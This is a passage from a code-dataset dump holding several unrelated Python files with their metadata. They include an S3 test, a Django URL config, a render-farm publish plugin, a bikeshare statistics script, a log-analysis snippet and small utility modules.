* file_size\n\n s3_path = 's3://mybucket/putMe'\n tmp_file = tempfile.NamedTemporaryFile(mode='wb', delete=True)\n tmp_file_path = tmp_file.name\n tmp_file.write(file_contents)\n tmp_file.flush()\n\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n s3_client.put_multipart(tmp_file_path, s3_path, part_size=part_size)\n self.assertTrue(s3_client.exists(s3_path))\n # b/c of https://github.com/spulec/moto/issues/131 have to\n # get contents to check size\n key_contents = s3_client.get_key(s3_path).get_contents_as_string()\n self.assertEqual(len(file_contents), len(key_contents))\n\n tmp_file.close()\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/s3_test.py","file_name":"s3_test.py","file_ext":"py","file_size_in_byte":16863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"279693917","text":"\"\"\"flywithme URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.contrib.auth.views import login as django_login\nfrom django.contrib.staticfiles.storage import staticfiles_storage\nfrom django.views.generic.base import RedirectView\n\nfrom topspots import urls as spot_urls\nfrom topspots import views\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^help/', views.help_page, name='help'),\n url(r'^$', views.home_page, name='home'),\n url(r'^user/(\\d+)/', views.user_profile, name='user_profile'),\n url(r'^updatelocation/', views.update_location, name='update_location'),\n url(r'^useaddress/', views.use_address, name='use_address'),\n url(r'^spots/', include(spot_urls)),\n url(r'^signup/', views.signup, name='signup'),\n url(r'^login/', django_login, name='login', kwargs={\n 'template_name': 'topspots/login.html',\n 'redirect_field_name': 'next',\n }),\n url(r'^logout/', views.logout, name='logout'),\n url(r'^favicon.ico$',\n RedirectView.as_view(url=staticfiles_storage.url('topspots/images/favicon.ico'), permanent=False),\n name=\"favicon\"),\n # This is a hack so that users won't have access to django-allauth views I want to block\n url(r'^accounts/email/', views.go_home),\n url(r'^accounts/logout/', views.go_home),\n url(r'^accounts/login/', views.go_home),\n url(r'^accounts/signup/', views.go_home),\n url(r'^accounts/social/connections/', views.go_home),\n url(r'^accounts/', include('allauth.urls')),\n url(r'^tips/', views.tips, name='tips'),\n]\n","sub_path":"flywithme/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"3025086","text":"#!/usr/bin/env python3\n# coding=utf-8\n\nimport math\nimport sys\n\nsys.path.append('..')\n\nfrom app.models import *\nfrom sqlalchemy import func\nimport argparse\n\nparser = argparse.ArgumentParser(\n description='This is a code to generate smiles list used as training set in machine learning')\nparser.add_argument('-t', '--type', type=str, help='The selection rule of training set')\nparser.add_argument('--similarity', type=float, help='The cutoff value of FP-similarity rule', default=-1.0)\n\nopt = parser.parse_args()\n\nif opt.type == 'FP-similarity':\n if opt.similarity in [0.1, 0.2, 0.3, 0.5, 0.8, 1.0, 1.5, 2.0]:\n f1 = open('train_%.2f.txt' % opt.similarity, 'w')\n f2 = open('validate_%.2f.txt' % opt.similarity, 'w')\n stereos = session.query(StereoIsomer)\n if opt.similarity == 0.1:\n sim = StereoIsomer.similarity_010\n elif opt.similarity == 0.2:\n sim = StereoIsomer.similarity_020\n elif opt.similarity == 0.3:\n sim = StereoIsomer.similarity_030\n elif opt.similarity == 0.5:\n sim = StereoIsomer.similarity_050\n elif opt.similarity == 0.8:\n sim = StereoIsomer.similarity_080\n elif opt.similarity == 1.0:\n sim = StereoIsomer.similarity_100\n elif opt.similarity == 1.5:\n sim = StereoIsomer.similarity_150\n elif opt.similarity == 2.0:\n sim = StereoIsomer.similarity_200\n else:\n sys.exit()\n stereos_train = stereos.filter(sim == True)\n for stereo in stereos_train:\n f1.write('%s\\n' % stereo.smiles)\n stereos_validate = stereos.filter(sim == False).order_by(func.random()).limit(stereos_train.count())\n for stereo in stereos_validate:\n f2.write('%s\\n' % stereo.smiles)\n else:\n print(opt.similarity)\nelif opt.type == 'FP-distance':\n stereos = session.query(StereoIsomer)\n stereos_train = stereos.filter(StereoIsomer.training == True)\n file = open('training.txt', 'w')\n for stereo in stereos_train:\n file.write('%s\\n' % stereo.smiles)\n file.close()\n file = open('validation.txt', 'w')\n for stereo in stereos.filter(StereoIsomer.training == False).order_by(func.random()).limit(stereos_train.count()):\n file.write('%s\\n' % stereo.smiles)\n","sub_path":"scripts/TrainValidationSetGenerate.py","file_name":"TrainValidationSetGenerate.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"471114572","text":"# Write a class to hold player information, e.g. what room they are in\n# currently.\nclass Player:\n def __init__(self, name, current_room, items=None):\n self.name = name\n self.current_room = current_room\n if items == None:\n self.items = []\n else:\n self.items = items\n\n def __str__(self):\n return f\"{self.name}, you're currently in... {self.current_room.name}\"\n\n def __repr__(self):\n return f\"Player({self.name}, {self.current_room})\"\n\n # Play should take directions and move\n def move_to(self, direction):\n # Do a sort of switch statement / multiple if statement\n if direction == 'n':\n # Check if player can move to that direction. So check if there is a north attribute for that room.\n # If there is, move the player there, so reassign current_room value. If there is not, print error message.\n if self.current_room.n_to != None:\n self.current_room = self.current_room.n_to\n else:\n print(\"\")\n print(\"Oops, there's no room there.\")\n elif direction == 's':\n if self.current_room.s_to != None:\n self.current_room = self.current_room.s_to\n else:\n print(\"\")\n print(\"Oops, there's no room there.\")\n elif direction == 'e':\n if self.current_room.e_to != None:\n self.current_room = self.current_room.e_to\n else:\n print(\"\")\n print(\"Oops, there's no room there.\")\n elif direction == 'w':\n if self.current_room.w_to != None:\n self.current_room = self.current_room.w_to\n else:\n print(\"\")\n print(\"Oops, there's no room there.\")\n\n # If player in Room, if he picks up item, remove item from that ROOM and add it to player's items list.\n def add_item(self, item):\n self.items.append(item)\n\n def remove_item(self, item):\n self.items.remove(item)\n\n def print_items(self):\n if len(self.items):\n for item in self.items:\n print(\"\")\n print(\"Player currently have these items:\")\n print('-->', item.name)\n else:\n print(\"\")\n print(\"Player doesn't have any items right now.\")\n","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"270931161","text":"import os\nimport json\nimport re\nimport logging\n\nfrom avalon import api, io\nfrom avalon.vendor import requests, clique\n\nimport pyblish.api\n\n\ndef _get_script():\n \"\"\"Get path to the image sequence script\"\"\"\n try:\n from pype.scripts import publish_filesequence\n except Exception:\n raise RuntimeError(\"Expected module 'publish_deadline'\"\n \"to be available\")\n\n module_path = publish_filesequence.__file__\n if module_path.endswith(\".pyc\"):\n module_path = module_path[:-len(\".pyc\")] + \".py\"\n\n return module_path\n\n\n# Logic to retrieve latest files concerning extendFrames\ndef get_latest_version(asset_name, subset_name, family):\n # Get asset\n asset_name = io.find_one({\"type\": \"asset\",\n \"name\": asset_name},\n projection={\"name\": True})\n\n subset = io.find_one({\"type\": \"subset\",\n \"name\": subset_name,\n \"parent\": asset_name[\"_id\"]},\n projection={\"_id\": True, \"name\": True})\n\n # Check if subsets actually exists (pre-run check)\n assert subset, \"No subsets found, please publish with `extendFrames` off\"\n\n # Get version\n version_projection = {\"name\": True,\n \"data.startFrame\": True,\n \"data.endFrame\": True,\n \"parent\": True}\n\n version = io.find_one({\"type\": \"version\",\n \"parent\": subset[\"_id\"],\n \"data.families\": family},\n projection=version_projection,\n sort=[(\"name\", -1)])\n\n assert version, \"No version found, this is a bug\"\n\n return version\n\n\ndef get_resources(version, extension=None):\n \"\"\"\n Get the files from the specific version\n \"\"\"\n query = {\"type\": \"representation\", \"parent\": version[\"_id\"]}\n if extension:\n query[\"name\"] = extension\n\n representation = io.find_one(query)\n assert representation, \"This is a bug\"\n\n directory = api.get_representation_path(representation)\n print(\"Source: \", directory)\n resources = sorted([os.path.normpath(os.path.join(directory, fname))\n for fname in os.listdir(directory)])\n\n return resources\n\n\ndef get_resource_files(resources, frame_range, override=True):\n\n res_collections, _ = clique.assemble(resources)\n assert len(res_collections) == 1, \"Multiple collections found\"\n res_collection = res_collections[0]\n\n # Remove any frames\n if override:\n for frame in frame_range:\n if frame not in res_collection.indexes:\n continue\n res_collection.indexes.remove(frame)\n\n return list(res_collection)\n\n\nclass ProcessSubmittedJobOnFarm(pyblish.api.InstancePlugin):\n \"\"\"Process Job submitted on farm.\n\n These jobs are dependent on a deadline or muster job\n submission prior to this plug-in.\n\n - In case of Deadline, it creates dependend job on farm publishing\n rendered image sequence.\n\n - In case of Muster, there is no need for such thing as dependend job,\n post action will be executed and rendered sequence will be published.\n\n Options in instance.data:\n - deadlineSubmissionJob (dict, Required): The returned .json\n data from the job submission to deadline.\n\n - musterSubmissionJob (dict, Required): same as deadline.\n\n - outputDir (str, Required): The output directory where the metadata\n file should be generated. It's assumed that this will also be\n final folder containing the output files.\n\n - ext (str, Optional): The extension (including `.`) that is required\n in the output filename to be picked up for image sequence\n publishing.\n\n - publishJobState (str, Optional): \"Active\" or \"Suspended\"\n This defaults to \"Suspended\"\n\n This requires a \"frameStart\" and \"frameEnd\" to be present in instance.data\n or in context.data.\n\n \"\"\"\n\n label = \"Submit image sequence jobs to Deadline or Muster\"\n order = pyblish.api.IntegratorOrder + 0.2\n icon = \"tractor\"\n\n hosts = [\"fusion\", \"maya\", \"nuke\"]\n\n families = [\n \"render.farm\",\n \"renderlayer\",\n \"imagesequence\"\n ]\n\n enviro_filter = [\n \"PATH\",\n \"PYTHONPATH\",\n \"FTRACK_API_USER\",\n \"FTRACK_API_KEY\",\n \"FTRACK_SERVER\",\n \"PYPE_ROOT\"\n ]\n\n def _submit_deadline_post_job(self, instance, job):\n \"\"\"\n Deadline specific code separated from :meth:`process` for sake of\n more universal code. Muster post job is sent directly by Muster\n submitter, so this type of code isn't necessary for it.\n \"\"\"\n data = instance.data.copy()\n subset = data[\"subset\"]\n state = data.get(\"publishJobState\", \"Suspended\")\n job_name = \"{batch} - {subset} [publish image sequence]\".format(\n batch=job[\"Props\"][\"Name\"],\n subset=subset\n )\n\n metadata_filename = \"{}_metadata.json\".format(subset)\n output_dir = instance.data[\"outputDir\"]\n metadata_path = os.path.join(output_dir, metadata_filename)\n\n # Generate the payload for Deadline submission\n payload = {\n \"JobInfo\": {\n \"Plugin\": \"Python\",\n \"BatchName\": job[\"Props\"][\"Batch\"],\n \"Name\": job_name,\n \"JobType\": \"Normal\",\n \"JobDependency0\": job[\"_id\"],\n \"UserName\": job[\"Props\"][\"User\"],\n \"Comment\": instance.context.data.get(\"comment\", \"\"),\n \"InitialStatus\": state,\n \"Priority\": job[\"Props\"][\"Pri\"]\n },\n \"PluginInfo\": {\n \"Version\": \"3.6\",\n \"ScriptFile\": _get_script(),\n \"Arguments\": '--paths \"{}\"'.format(metadata_path),\n \"SingleFrameOnly\": \"True\"\n },\n\n # Mandatory for Deadline, may be empty\n \"AuxFiles\": []\n }\n\n # Transfer the environment from the original job to this dependent\n # job so they use the same environment\n\n environment = job[\"Props\"].get(\"Env\", {})\n i = 0\n for index, key in enumerate(environment):\n self.log.info(\"KEY: {}\".format(key))\n self.log.info(\"FILTER: {}\".format(self.enviro_filter))\n\n if key.upper() in self.enviro_filter:\n payload[\"JobInfo\"].update({\n \"EnvironmentKeyValue%d\" % i: \"{key}={value}\".format(\n key=key,\n value=environment[key]\n )\n })\n i += 1\n\n # Avoid copied pools and remove secondary pool\n payload[\"JobInfo\"][\"Pool\"] = \"none\"\n payload[\"JobInfo\"].pop(\"SecondaryPool\", None)\n\n self.log.info(\"Submitting..\")\n self.log.info(json.dumps(payload, indent=4, sort_keys=True))\n\n url = \"{}/api/jobs\".format(self.DEADLINE_REST_URL)\n response = requests.post(url, json=payload)\n if not response.ok:\n raise Exception(response.text)\n\n def process(self, instance):\n \"\"\"\n Detect type of renderfarm submission and create and post dependend job\n in case of Deadline. It creates json file with metadata needed for\n publishing in directory of render.\n\n :param instance: Instance data\n :type instance: dict\n \"\"\"\n # Get a submission job\n data = instance.data.copy()\n render_job = data.pop(\"deadlineSubmissionJob\", None)\n submission_type = \"deadline\"\n\n if not render_job:\n # No deadline job. Try Muster: musterSubmissionJob\n render_job = data.pop(\"musterSubmissionJob\", None)\n submission_type = \"muster\"\n if not render_job:\n raise RuntimeError(\"Can't continue without valid Deadline \"\n \"or Muster submission prior to this \"\n \"plug-in.\")\n\n if submission_type == \"deadline\":\n self.DEADLINE_REST_URL = os.environ.get(\"DEADLINE_REST_URL\",\n \"http://localhost:8082\")\n assert self.DEADLINE_REST_URL, \"Requires DEADLINE_REST_URL\"\n\n self._submit_deadline_post_job(instance, render_job)\n\n asset = data.get(\"asset\") or api.Session[\"AVALON_ASSET\"]\n subset = data[\"subset\"]\n\n # Get start/end frame from instance, if not available get from context\n context = instance.context\n start = instance.data.get(\"frameStart\")\n if start is None:\n start = context.data[\"frameStart\"]\n end = instance.data.get(\"frameEnd\")\n if end is None:\n end = context.data[\"frameEnd\"]\n\n # Add in regex for sequence filename\n # This assumes the output files start with subset name and ends with\n # a file extension. The \"ext\" key includes the dot with the extension.\n if \"ext\" in instance.data:\n ext = r\"\\.\" + re.escape(instance.data[\"ext\"])\n else:\n ext = r\"\\.\\D+\"\n\n regex = r\"^{subset}.*\\d+{ext}$\".format(subset=re.escape(subset),\n ext=ext)\n\n try:\n source = data['source']\n except KeyError:\n source = context.data[\"currentFile\"]\n\n source = source.replace(os.getenv(\"PYPE_STUDIO_PROJECTS_MOUNT\"),\n api.registered_root())\n\n relative_path = os.path.relpath(source, api.registered_root())\n source = os.path.join(\"{root}\", relative_path).replace(\"\\\\\", \"/\")\n\n # Write metadata for publish job\n metadata = {\n \"asset\": asset,\n \"regex\": regex,\n \"frameStart\": start,\n \"frameEnd\": end,\n \"fps\": context.data.get(\"fps\", None),\n \"families\": [\"render\"],\n \"source\": source,\n \"user\": context.data[\"user\"],\n \"version\": context.data[\"version\"],\n # Optional metadata (for debugging)\n \"metadata\": {\n \"instance\": data,\n \"job\": render_job,\n \"session\": api.Session.copy()\n }\n }\n\n if submission_type == \"muster\":\n ftrack = {\n \"FTRACK_API_USER\": os.environ.get(\"FTRACK_API_USER\"),\n \"FTRACK_API_KEY\": os.environ.get(\"FTRACK_API_KEY\"),\n \"FTRACK_SERVER\": os.environ.get(\"FTRACK_SERVER\")\n }\n metadata.update({\"ftrack\": ftrack})\n\n # Ensure output dir exists\n output_dir = instance.data[\"outputDir\"]\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n\n if data.get(\"extendFrames\", False):\n\n family = \"render\"\n override = data[\"overrideExistingFrame\"]\n\n # override = data.get(\"overrideExistingFrame\", False)\n out_file = render_job.get(\"OutFile\")\n if not out_file:\n raise RuntimeError(\"OutFile not found in render job!\")\n\n extension = os.path.splitext(out_file[0])[1]\n _ext = extension[1:]\n\n # Frame comparison\n prev_start = None\n prev_end = None\n resource_range = range(int(start), int(end)+1)\n\n # Gather all the subset files (one subset per render pass!)\n subset_names = [data[\"subset\"]]\n subset_names.extend(data.get(\"renderPasses\", []))\n resources = []\n for subset_name in subset_names:\n version = get_latest_version(asset_name=data[\"asset\"],\n subset_name=subset_name,\n family=family)\n\n # Set prev start / end frames for comparison\n if not prev_start and not prev_end:\n prev_start = version[\"data\"][\"frameStart\"]\n prev_end = version[\"data\"][\"frameEnd\"]\n\n subset_resources = get_resources(version, _ext)\n resource_files = get_resource_files(subset_resources,\n resource_range,\n override)\n\n resources.extend(resource_files)\n\n updated_start = min(start, prev_start)\n updated_end = max(end, prev_end)\n\n # Update metadata and instance start / end frame\n self.log.info(\"Updating start / end frame : \"\n \"{} - {}\".format(updated_start, updated_end))\n\n # TODO : Improve logic to get new frame range for the\n # publish job (publish_filesequence.py)\n # The current approach is not following Pyblish logic\n # which is based\n # on Collect / Validate / Extract.\n\n # ---- Collect Plugins ---\n # Collect Extend Frames - Only run if extendFrames is toggled\n # # # Store in instance:\n # # # Previous rendered files per subset based on frames\n # # # --> Add to instance.data[resources]\n # # # Update publish frame range\n\n # ---- Validate Plugins ---\n # Validate Extend Frames\n # # # Check if instance has the requirements to extend frames\n # There might have been some things which can be added to the list\n # Please do so when fixing this.\n\n # Start frame\n metadata[\"frameStart\"] = updated_start\n metadata[\"metadata\"][\"instance\"][\"frameStart\"] = updated_start\n\n # End frame\n metadata[\"frameEnd\"] = updated_end\n metadata[\"metadata\"][\"instance\"][\"frameEnd\"] = updated_end\n\n metadata_filename = \"{}_metadata.json\".format(subset)\n\n metadata_path = os.path.join(output_dir, metadata_filename)\n # convert log messages if they are `LogRecord` to their\n # string format to allow serializing as JSON later on.\n rendered_logs = []\n for log in metadata[\"metadata\"][\"instance\"].get(\"_log\", []):\n if isinstance(log, logging.LogRecord):\n rendered_logs.append(log.getMessage())\n else:\n rendered_logs.append(log)\n\n metadata[\"metadata\"][\"instance\"][\"_log\"] = rendered_logs\n with open(metadata_path, \"w\") as f:\n json.dump(metadata, f, indent=4, sort_keys=True)\n\n # Copy files from previous render if extendFrame is True\n if data.get(\"extendFrames\", False):\n\n self.log.info(\"Preparing to copy ..\")\n import shutil\n\n dest_path = data[\"outputDir\"]\n for source in resources:\n src_file = os.path.basename(source)\n dest = os.path.join(dest_path, src_file)\n shutil.copy(source, dest)\n\n self.log.info(\"Finished copying %i files\" % len(resources))\n","sub_path":"pype/plugins/global/publish/submit_publish_job.py","file_name":"submit_publish_job.py","file_ext":"py","file_size_in_byte":15105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"47047876","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n # Gets user input for the chosen city (chicago, new york city, washington). Uses a while loop to force a valid input.\n city = \"\"\n while (city != \"chicago\" and city != \"new york city\" and city != \"washington\"):\n city = input(\"Which city would you like to explore? \").lower()\n if (city != \"chicago\" and city != \"new york city\" and city != \"washington\"):\n print(\"Your input was invalid. Please try again. \")\n # Gets user input for month (all, january, february, ... , june).\n if (city == 'new york city'):\n city = 'new_york_city'\n mlist = ['all', 'january', 'february', 'march', 'april', 'may', 'june']\n month = \"\"\n while month not in mlist:\n month = input(\"Which month, choosing from the first six months, would you like to filter by? Type 'all' for no filter. \").lower()\n if month not in mlist:\n print(\"Your input was invalid. Please try again. \")\n\n # Gets user input for day of week (all, monday, tuesday, ... sunday).\n dlist = ['all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']\n day = \"\"\n while day not in dlist:\n day = input(\"Which day of the week would you like to filter by? Type 'all' for no filter. \").lower()\n if day not in dlist:\n print(\"Your input was invalid. Please try again. \")\n\n print('-'*40)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n df = pd.read_csv(city + '.csv')\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n if (month != 'all'):\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n df = df[df['month'] == month]\n if (day != 'all'):\n day = day.title()\n df = df[df['day_of_week'] == day]\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n \n # Displays the most common month\n cs_month = df['month'].value_counts().index[0]\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n cs_month = months[cs_month-1]\n print(\"The most common month is\", cs_month.title() + \". The most common month is skewed if you filtered by day.\")\n # Displays the most common day of week\n cs_dow = df['day_of_week'].value_counts().index[0]\n print(\"The most common day of week is\", cs_dow + \". The most common day of the week is skewed if you filtered by day.\")\n\n # Displays the most common start hour\n df['hour'] = df['Start Time'].dt.hour\n cs_hour = df['hour'].value_counts().index[0]\n if (cs_hour >= 0 and cs_hour <= 11):\n p_hour = str(cs_hour) + \":00 AM.\"\n elif (cs_hour == 12):\n p_hour = str(cs_hour) + \":00 PM.\"\n else:\n p_hour = str(cs_hour-12) + \":00 PM.\"\n print(\"The most common start hour is\", p_hour)\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # Displays most commonly used start station\n start = df['Start Station'].value_counts().index[0]\n s_count = 0\n for i in df['Start Station']:\n if (i == start):\n s_count += 1\n print (\"The most commonly used start station is\", start, 'with', s_count, \"uses.\")\n # Displays most commonly used end station\n end = df['End Station'].value_counts().index[0]\n e_count = 0\n for i in df['End Station']:\n if (i == end):\n e_count += 1\n print (\"The most commonly used end station is\", end, \"with\", e_count, \"uses.\")\n # Displays most frequent combination of start station and end station trip\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # Displays total travel time\n df['End Time'] = pd.to_datetime(df['End Time'])\n teh = pd.DataFrame.sum(df['End Time'].dt.hour)\n tsh = pd.DataFrame.sum(df['Start Time'].dt.hour)\n total_hours = teh - tsh\n tem = pd.DataFrame.sum(df['End Time'].dt.minute)\n tsm = pd.DataFrame.sum(df['Start Time'].dt.minute)\n total_min = tem - tsm\n tes = pd.DataFrame.sum(df['End Time'].dt.second)\n tss = pd.DataFrame.sum(df['Start Time'].dt.second)\n total_sec = tes - tss\n total_min += total_sec//60\n total_sec = total_sec%60\n total_hours += total_min//60\n total_min = total_min%60\n print(\"The total travel time is\", total_hours, \"hours,\", total_min, \"minutes, and\", total_sec, \"seconds.\")\n\n # Displays mean travel time\n aeh = pd.DataFrame.mean(df['End Time'].dt.hour)\n ash = pd.DataFrame.mean(df['Start Time'].dt.hour)\n avg_hours = aeh - ash\n aem = pd.DataFrame.mean(df['End Time'].dt.minute)\n asm = pd.DataFrame.mean(df['Start Time'].dt.minute)\n avg_min = aem - asm\n aes = pd.DataFrame.mean(df['End Time'].dt.second)\n ass = pd.DataFrame.mean(df['Start Time'].dt.second)\n avg_sec = aes - ass\n avg_min += avg_hours*60\n avg_sec += avg_min%1*60\n avg_min -= avg_min%1\n print(\"The average travel time is approximately\", int(avg_min), \"minutes, and\", int(avg_sec), \"seconds.\")\n\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # Displays counts of user types\n customers = 0\n subscribers = 0\n for i in df['User Type']:\n if i == 'Subscriber':\n subscribers += 1\n if i == 'Customer':\n customers += 1\n print('There are', customers, \"customers and\", subscribers, \"subscribers.\")\n\n # Displays counts of gender\n males = 0\n females = 0\n unknowns = 0\n try:\n for i in df['Gender']:\n if i == 'Male':\n males += 1\n elif i == 'Female':\n females += 1\n else:\n unknowns += 1\n print('There are', males, \"males,\", females, \"females, and\", unknowns, \"users with unknown gender.\")\n except:\n print(\"There is no data on genders for Washington.\")\n\n # Displays earliest, most recent, and most common year of birth\n try:\n earliest = int(df['Birth Year'].min())\n latest = int(df['Birth Year'].max())\n mcyear = int(df['Birth Year'].mode())\n print('The earliest year of birth is', str(earliest) + '. The most recent birth year is', str(latest) + '. The most common year of birth is', str(mcyear) + '.')\n except:\n print(\"There is no data on birth years for Washington.\")\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\ndef raw_data(df):\n \n # Asks user if they want the raw data, giving 5 rows at a time\n more_data = input('Would you like to see 5 rows of the raw data? Please type \"yes\" or \"no\". ')\n count = 0\n while more_data == 'yes':\n print(df[count:count+5])\n count += 5\n more_data = input('Would you like to see another 5 rows? ')\n \ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n raw_data(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":8863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"195986191","text":"# -*- coding: utf-8 -*-\n# @Author: gaoss\n# @Date: 2017-03-20 10:15:13\n# @Last Modified by: gaoss\n# @Last Modified time: 2017-03-20 10:41:50\n\n\n\ndef top_logs(path,topn=10):\n fhandler = open(path, 'rb')\n\n ip_stat_dict = {}\n\n for line in fhandler:\n ip = str(line.split('-')[0]).strip()\n ip_stat_dict[ip] = ip_stat_dict.get(ip, 0) + 1\n fhandler.close()\n\n ip_stat_list = ip_stat_dict.items()\n ip_list_count = len(ip_stat_list)\n for_count = ip_list_count - 1\n\n if ip_list_count - 1 > topn:\n for_count = topn\n # return sorted(ip_stat_list,key=lambda x:x[1])[-1:-topn -1:-1 ]\n ip_stat_list.sort(key=lambda x:x[1])\n return ip_stat_list[-1:-topn-1:-1]\n\n\n\ndef print_list(top_list):\n for ip, count in top_list:\n print('{} : {}'.format(ip, count))\n\npath = 'access.log'\ntop_list = top_logs(path)\nprint_list(top_list)\n","sub_path":"04/gaoss/nginx_access.py","file_name":"nginx_access.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"314996954","text":"from sklearn.metrics import confusion_matrix\nimport seaborn as sns \nimport numpy as np\nimport matplotlib.pyplot as plt\n\n'''\n**remember**:\n import sys\n import os\n sys.path.insert(0, os.path.join(os.getcwd()))\n'''\n\ndef cmPlot(y_pred,y_test,labels):\n ax = plt.subplot()\n matrix = confusion_matrix(y_test, y_pred, labels=labels)\n matrix = matrix.astype('float') / matrix.sum(axis=1)[:, np.newaxis]\n \n # Plot the matrix\n sns.heatmap(matrix,annot=True)\n ax.set_xlabel('Predicted labels')\n ax.set_ylabel('True labels'); \n ax.set_title('Confusion Matrix'); \n ax.xaxis.set_ticklabels(labels)\n ax.yaxis.set_ticklabels(labels)","sub_path":"others/cmPlot.py","file_name":"cmPlot.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"192831197","text":"from setuptools import setup, find_packages\n\n__version__ = \"0.4.0\"\n\nsetup(\n name='bgconvert',\n version=__version__,\n packages=find_packages(),\n package_data={'bgconvert.datasets': ['*.xz']},\n url=\"https://bitbucket.org/bgframework/bgconvert\",\n download_url=\"https://bitbucket.org/bbglab/bgconvert/get/\"+__version__+\".tar.gz\",\n license='Apache Commons 2.0',\n author='Biomedical Genomics Group',\n description='',\n install_requires=[],\n\n entry_points={\n 'console_scripts': [\n 'bg-convert = bgconvert.cmdline:run'\n ]\n }\n)\n","sub_path":"pypi_install_script/bgconvert-0.4.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"413403845","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win32\\egg\\py_mysql\\lib\\mysql\\connector\\custom_types.py\n# Compiled at: 2017-12-07 02:34:36\n# Size of source mod 2**32: 1665 bytes\n\"\"\"Custom Python types used by MySQL Connector/Python\"\"\"\nimport sys\n\nclass HexLiteral(str):\n __doc__ = 'Class holding MySQL hex literals'\n\n def __new__(cls, str_, charset='utf8'):\n if sys.version_info[0] == 2:\n hexed = ['%02x' % ord(i) for i in str_.encode(charset)]\n else:\n hexed = ['%02x' % i for i in str_.encode(charset)]\n obj = str.__new__(cls, ''.join(hexed))\n obj.charset = charset\n obj.original = str_\n return obj\n\n def __str__(self):\n return '0x' + self","sub_path":"pycfiles/py_mysql-1.0-py3.6/custom_types.cpython-36.py","file_name":"custom_types.cpython-36.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"341354263","text":"# -*- coding: utf-8 